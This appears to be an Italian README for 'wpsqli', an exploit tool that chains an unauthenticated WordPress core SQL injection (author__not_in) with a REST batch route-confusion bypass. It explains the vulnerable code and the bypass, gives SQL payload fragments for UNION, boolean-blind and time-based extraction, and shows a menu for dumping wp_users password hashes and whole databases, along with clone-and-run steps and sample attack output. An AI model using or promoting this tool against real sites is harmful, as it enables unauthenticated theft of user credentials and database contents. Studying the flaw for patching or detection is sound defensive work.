
wpsqli estrattore SQLi completo + dump per CVE-2026-60137
Uno strumento veloce e guidato da menu per l'estrazione di database che sfrutta la vulnerabilità di SQL injection
author__not_innel core di WordPress. Questo strumento si concentra esclusivamente sull'enumerazione e sul dump del database, sfruttando la confusione delle route batch REST (CVE-2026-63030) per raggiungere il sink SQLi senza autenticazione.
wpsqli è uno strumento in puro Python progettato per sfruttare una vulnerabilità concatenata nel core di WordPress che consente un'iniezione SQL non autenticata nel database. Aggira la validazione della REST API di WordPress tramite un bug di confusione delle route batch, portando un payload stringa grezzo direttamente al sink SQL di WP_Query.
Questo strumento è pensato per velocità e flessibilità: tenta automaticamente l'estrazione in-band basata su UNION (istantanea), ripiega sull'estrazione boolean-blind parallela a 8 thread e infine sull'estrazione time-based sequenziale, se necessario.
Questo strumento combina due vulnerabilità indipendenti per ottenere un'estrazione del database senza autenticazione:
author__not_in (CVE-2026-60137)Posizione: wp-includes/class-wp-query.php, WP_Query::get_posts()
Il parametro author__not_in applica la sanitizzazione absint() solo se l'input è un array. Se viene passata una stringa, il controllo is_array() viene saltato, la stringa attraversa implode() senza modifiche e viene concatenata grezza nella clausola SQL $where.
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
L'endpoint posts della REST API mappa author_exclude su author__not_in ma lo dichiara come type => 'array' di interi, quindi il core converte/rifiuta una stringa. Il Bug B fa passare la stringa oltre la validazione abusando di un bug di desincronizzazione nell'endpoint batch REST (/wp-json/batch/v1). Iniettando un primer di percorso malformato che wp_parse_url() rifiuta, un WP_Error viene inserito nella lista delle richieste batch, desincronizzando $matches da $validation. Questo consente a una sotto-richiesta successiva di essere smistata verso l'handler sbagliato senza validazione dei parametri.
Avvertenza: Il sink SQLi viene raggiunto solo quando non è in uso una cache degli oggetti persistente (Redis/Memcached).
pip install richiesto.wp_posts fittizia per estrarre intere stringhe in una singola richiesta HTTP (istantanea).Ctrl+C durante l'estrazione ferma la query corrente e restituisce risultati parziali senza far crashare la sessione.ID|user_login|user_pass con hash bcrypt pronti per hashcat -m 35500.Nessuna installazione richiesta. Basta scaricare ed eseguire:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
Requisiti:
Avvia il menu interattivo:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| Opzione | Descrizione |
|---|---|
0 | Connettiti a un target (sanitizza gli URL automaticamente) |
1 | Verifica la vulnerabilità e la modalità di estrazione attiva |
| Opzione | Descrizione |
|---|---|
9 | Elenca tutti i database sul server MySQL |
10 | Elenca tutte le tabelle nel database corrente o specificato |
11 | Elenca tutti i nomi di colonna per una tabella specifica |
| Opzione | Descrizione |
|---|---|
12 | Dump di una singola tabella (con limite di righe opzionale e salvataggio su file) |
13 | Dump di tutte le tabelle nel database corrente |
14 | Dump nucleare completo — tutte le tabelle + tutte le righe su file con timestamp |
Lo strumento tenta automaticamente tre modalità di estrazione in ordine di velocità:
Crea una riga wp_posts fittizia con il valore estratto codificato in esadecimale nella colonna post_title (racchiuso tra i marcatori ||..||). La REST API lo riflette nella risposta — l'intera stringa in una singola richiesta HTTP.
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c) per codificare il risultatoSe UNION non è disponibile, usa 8 thread paralleli con ricerca binaria per estrarre ogni carattere. L'oracolo booleano verifica se la AND (condition) iniettata restituisce righe.
Fallback se l'oracolo booleano non restituisce righe (es. sito con 0 post pubblicati). Usa IF(condition, SLEEP(N), 0) per codificare la verità nella latenza della risposta.
Questo strumento è progettato esclusivamente per test di sicurezza autorizzati e scopi educativi. Devi utilizzare questo strumento solo su sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta a effettuare test. L'accesso non autorizzato a sistemi informatici è illegale.
Gli autori e i contributori di questo strumento non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Usalo a tuo rischio e pericolo
Questo strumento è fornito esclusivamente per scopi educativi e di test autorizzati.
| Intervallo di versioni | Stato |
|---|
| 6.8.0 – 6.8.5 | Bug SQLi presente, ma catena NON raggiungibile (confusione batch introdotta in 6.9.0) |
| 6.9.0 – 6.9.4 | VULNERABILE — catena completa senza autenticazione |
| 7.0.0 – 7.0.1 | VULNERABILE — catena completa senza autenticazione |
| 6.8.6 | Corretto (SQLi) |
| 6.9.5 | Corretto |
| 7.0.2 | Corretto |
| 7.1-beta2+ | Corretto |
| Opzione | Descrizione |
|---|
2 | Estrai la versione di MySQL (SELECT @@version) |
3 | Estrai il nome del database corrente (SELECT DATABASE()) |
4 | Estrai l'utente DB corrente (SELECT CURRENT_USER()) |
5 | Estrai il prefisso delle tabelle di WordPress |
6 | Dump della tabella wp_users (ID, login, hash della password) |
7 | Esegui una query SQL personalizzata |
8 | Esegui tutti i fingerprint (opzioni 2-5) in sequenza |
| Modalità | Richieste per query | Velocità | Quando viene usata |
|---|
| UNION | 1 | Istantanea | Nessuna cache degli oggetti, conteggio delle colonne corrispondente |
| Boolean (8 thread) | ~7 × string_length / 8 | Veloce | UNION bloccata, ci sono righe |
| Time-based | ~7 × sleep × string_length | Lenta | Nessuna riga per l'oracolo booleano |
| Estrazione | Caratteri | Richieste | Tempo |
|---|
| Versione MySQL | ~20 | ~140 | ~15s |
| Nome database | ~15 | ~105 | ~12s |
| Utente DB | ~25 | ~175 | ~20s |
| Prefisso tabella | ~5 | ~35 | ~5s |
| Riga wp_users (200 caratteri) | 200 | ~1400 | ~2min |